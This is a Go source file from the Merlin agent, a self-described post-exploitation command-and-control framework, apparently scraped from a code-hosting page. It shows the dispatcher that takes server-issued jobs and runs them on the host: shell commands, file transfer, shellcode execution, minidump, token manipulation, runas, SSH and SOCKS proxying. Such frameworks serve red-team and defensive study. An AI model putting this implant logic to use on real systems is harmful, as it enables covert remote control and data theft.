/
jobs.go
199 lines (185 loc) · 5.84 KB
/
jobs.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2022 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package agent
import (
// Standard
"fmt"
"strings"
// Merlin Main
"github.com/Ne0nd0g/merlin/pkg/jobs"
"github.com/Ne0nd0g/merlin/pkg/messages"
// Internal
"github.com/Ne0nd0g/merlin-agent/cli"
"github.com/Ne0nd0g/merlin-agent/commands"
"github.com/Ne0nd0g/merlin-agent/socks"
)
var jobsIn = make(chan jobs.Job, 100) // A channel of input jobs for the agent to handle
var jobsOut = make(chan jobs.Job, 100) // A channel of output job results for the agent to send back to the server
func init() {
// Start go routine that checks for jobs or tasks to execute
go executeJob()
}
// executeJob is executed a go routine that regularly checks for jobs from the in channel, executes them, and returns results to the out channel
func executeJob() {
for {
var result jobs.Results
job := <-jobsIn
// Need a go routine here so that way a job or command doesn't block
go func(job jobs.Job) {
switch job.Type {
case jobs.CMD:
result = commands.ExecuteCommand(job.Payload.(jobs.Command))
case jobs.FILETRANSFER:
if job.Payload.(jobs.FileTransfer).IsDownload {
result = commands.Download(job.Payload.(jobs.FileTransfer))
} else {
ft, err := commands.Upload(job.Payload.(jobs.FileTransfer))
if err != nil {
result.Stderr = err.Error()
}
jobsOut <- jobs.Job{
AgentID: job.AgentID,
ID: job.ID,
Token: job.Token,
Type: jobs.FILETRANSFER,
Payload: ft,
}
// Need to return here because there is no result, just a return job
return
}
case jobs.MODULE:
switch strings.ToLower(job.Payload.(jobs.Command).Command) {
case "clr":
result = commands.CLR(job.Payload.(jobs.Command))
case "createprocess":
result = commands.CreateProcess(job.Payload.(jobs.Command))
case "memfd":
result = commands.Memfd(job.Payload.(jobs.Command))
case "memory":
result = commands.Memory(job.Payload.(jobs.Command))
case "minidump":
ft, err := commands.MiniDump(job.Payload.(jobs.Command))
if err != nil {
result.Stderr = err.Error()
}
jobsOut <- jobs.Job{
AgentID: job.AgentID,
ID: job.ID,
Token: job.Token,
Type: jobs.FILETRANSFER,
Payload: ft,
}
case "netstat":
result = commands.Netstat(job.Payload.(jobs.Command))
case "runas":
result = commands.RunAs(job.Payload.(jobs.Command))
case "pipes":
result = commands.Pipes()
case "ps":
result = commands.PS()
case "ssh":
result = commands.SSH(job.Payload.(jobs.Command))
case "uptime":
result = commands.Uptime()
case "token":
result = commands.Token(job.Payload.(jobs.Command))
default:
result.Stderr = fmt.Sprintf("unknown module command: %s", job.Payload.(jobs.Command).Command)
}
case jobs.NATIVE:
result = commands.Native(job.Payload.(jobs.Command))
case jobs.SHELLCODE:
result = commands.ExecuteShellcode(job.Payload.(jobs.Shellcode))
default:
result.Stderr = fmt.Sprintf("Invalid job type: %d", job.Type)
}
jobsOut <- jobs.Job{
AgentID: job.AgentID,
ID: job.ID,
Token: job.Token,
Type: jobs.RESULT,
Payload: result,
}
}(job)
}
}
// getJobs extracts any jobs from the channel that are ready to returned to server and packages them up into a Merlin message
func getJobs() messages.Base {
cli.Message(cli.DEBUG, "Entering into agent.getJobs() function")
msg := messages.Base{
Version: 1.0,
}
// Check the output channel
var returnJobs []jobs.Job
for {
if len(jobsOut) > 0 {
job := <-jobsOut
returnJobs = append(returnJobs, job)
} else {
break
}
}
if len(returnJobs) > 0 {
msg.Type = messages.JOBS
msg.Payload = returnJobs
} else {
// There are 0 jobs results to return, just checkin
msg.Type = messages.CHECKIN
}
cli.Message(cli.DEBUG, "Leaving the agent.getJobs() function")
return msg
}
// jobHandler takes a list of jobs and places them into job channel if they are a valid type
func (a *Agent) jobHandler(Jobs []jobs.Job) {
cli.Message(cli.DEBUG, "Entering into agent.jobHandler() function")
for _, job := range Jobs {
// If the job belongs to this agent
if job.AgentID == a.ID {
cli.Message(cli.SUCCESS, fmt.Sprintf("%s job type received!", jobs.String(job.Type)))
switch job.Type {
case jobs.FILETRANSFER:
jobsIn <- job
case jobs.CONTROL:
a.control(job)
case jobs.CMD:
jobsIn <- job
case jobs.MODULE:
jobsIn <- job
case jobs.SHELLCODE:
cli.Message(cli.NOTE, "Received Execute shellcode command")
jobsIn <- job
case jobs.NATIVE:
jobsIn <- job
// When AgentInfo or Result messages fail to send, they will circle back through the handler
case jobs.AGENTINFO:
jobsOut <- job
case jobs.RESULT:
jobsOut <- job
case jobs.SOCKS:
socks.Handler(job, &jobsOut)
default:
var result jobs.Results
result.Stderr = fmt.Sprintf("%s is not a valid job type", messages.String(job.Type))
jobsOut <- jobs.Job{
ID: job.ID,
AgentID: a.ID,
Token: job.Token,
Type: jobs.RESULT,
Payload: result,
}
}
}
}
cli.Message(cli.DEBUG, "Leaving agent.jobHandler() function")
}